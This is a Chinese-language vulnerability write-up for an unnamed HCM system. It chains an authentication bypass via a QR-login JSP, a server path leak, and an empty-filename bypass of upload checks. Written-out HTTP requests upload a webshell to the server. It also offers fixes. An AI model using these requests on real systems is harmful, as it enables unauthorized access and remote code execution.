某HCM系统文件上传分析
字数 1486 2025-08-29 22:41:24
HCM系统文件上传漏洞分析与利用教学文档
漏洞概述
本漏洞存在于某HCM系统中,通过三个关键步骤实现任意文件上传:
- 获取有效会话Cookie
- 获取系统物理路径
- 利用文件上传接口绕过安全限制上传任意文件
漏洞详细分析
1. 获取有效会话Cookie
接口路径:/hrm/web/pub/qrcodeLogin.jsp
漏洞原理:
- 该JSP文件实例化了一个用户名为"二维码进入"的userView对象
- 设置session的islogon属性为true,使会话生效
- 直接访问该接口即可获得一个已登录状态的Cookie
关键代码:
// 实例化userView
userView.setSomeProperties();
session.setAttribute("islogon", true); // 关键点:强制设置登录状态
2. 获取系统物理路径
接口路径:/hrm/uploadLogo.do
漏洞原理:
- 系统使用Struts框架,在配置文件中映射到特定JSP
- JSP中定义了
projectpath参数,其值为getProjectPath() - 该方法返回系统images目录的物理路径
- 路径使用
SafeCode.encode进行编码
编码规则分析:
- ASCII值>255的字符:
- 用0填充到4位
- 前面添加"^"
- '0'-'9'、'A'-'Z'、'a'-'z'之外的常见字符:
- ASCII编码,用0填充到2位
- 前面添加"~"
- 数字和字母不进行编码
3. 文件上传漏洞
接口路径:/hrm/uploadLogo.do?b_upload=1
上传流程:
- 获取type参数(可选)
- 从请求体中获取三个上传文件字段:
logofile、twoFile、oneFile - 获取path参数并使用
SafeCode.decode解码 - 调用
uploadFile方法上传文件
安全限制与绕过:
-
正常情况下有四个校验:
- 文件名不允许包含
~/和../ - 文件后缀不能为空
- 文件内容与后缀匹配校验(通过文件头检查)
- 后缀名白名单检查
- 文件名不允许包含
-
绕过方法:
- 当
filename为空时,直接使用path参数作为完整路径 - 全局文件上传校验Servlet只检查
filename不为空的请求 - 因此在
path中拼接文件名并置空filename可绕过所有检查
- 当
文件路径构造:
- 使用
File类的第三个构造方法:File(String path, String filename) - 当
filename为空时,直接使用path作为完整路径 - 可在
path中拼接任意文件名和路径
漏洞利用步骤
1. 获取有效Cookie
GET /hrm/web/pub/qrcodeLogin.jsp HTTP/1.1
Host: target.com
响应中会返回有效的会话Cookie。
2. 获取系统物理路径
GET /hrm/uploadLogo.do HTTP/1.1
Host: target.com
Cookie: [获取的Cookie]
响应中包含编码后的物理路径,需要使用SafeCode.decode解码。
3. 上传任意文件
POST /hrm/uploadLogo.do?b_upload=1 HTTP/1.1
Host: target.com
Cookie: [获取的Cookie]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryABC123
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="path"
[解码后的物理路径]~5cwebshell.jsp
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="logofile"; filename=""
Content-Type: application/octet-stream
[webshell内容]
------WebKitFormBoundaryABC123--
关键点:
filename必须为空path参数包含完整路径和文件名- 路径分隔符使用编码形式(如
~5c代表\)
防御建议
- 修复
qrcodeLogin.jsp的会话认证逻辑 - 文件上传接口增加对
filename为空的检查 - 对
path参数进行严格过滤,禁止包含文件名 - 统一文件上传校验逻辑,无论
filename是否为空都进行检查 - 限制上传目录为特定非可执行目录
- 实施文件内容校验而不仅依赖后缀名检查
附录:SafeCode编解码参考
编码规则
^前缀:ASCII>255的字符,填充到4位~前缀:特殊字符的ASCII码,填充到2位- 数字字母:不编码
示例
\→~5c/→~2f- 非ASCII字符:
^xxxx格式
通过理解这些关键点,安全研究人员可以复现该漏洞,而开发人员则可以针对性地修复这些安全问题。